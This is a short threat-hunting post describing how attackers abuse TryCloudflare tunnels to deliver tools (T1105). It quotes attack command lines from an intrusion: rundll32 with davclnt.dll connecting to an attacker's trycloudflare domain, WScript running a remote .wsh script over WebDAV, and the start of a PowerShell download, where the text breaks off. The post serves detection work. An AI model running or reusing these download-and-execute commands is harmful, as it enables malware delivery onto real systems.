368. Hunting for TryCloudflare Abuse
Hello everyone! As you know, attackers often abuse various legitimate web services - for example, to exfiltrate data or to download tools. Today we’ll look at another such service, TryCloudflare, and examine how attackers use it in the context of the Ingress Tool Transfer (T1105) technique. So, TryCloudflare makes it possible to expose a local service to the Internet, with access provided via a Cloudflare-generated domain, for example: plus-condos-thy-redeem.trycloudflare[.]com Let’s look at a recent example demonstrating abuse of this service. First, the attackers initiate a connection to the server: rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie plus-condos-thy-redeem.trycloudflare[.]com@SSL https://plus-condos-thy-redeem.trycloudflare[.]com/ Second, they download malicious scripts: "C:\WINDOWS\System32\WScript.exe" "\\plus-condos-thy-redeem.trycloudflare[.]com@SSL\DavWWWRoot\as.wsh" powershell -Command "iwr 'https://plus-condos-thy-redeem.tr...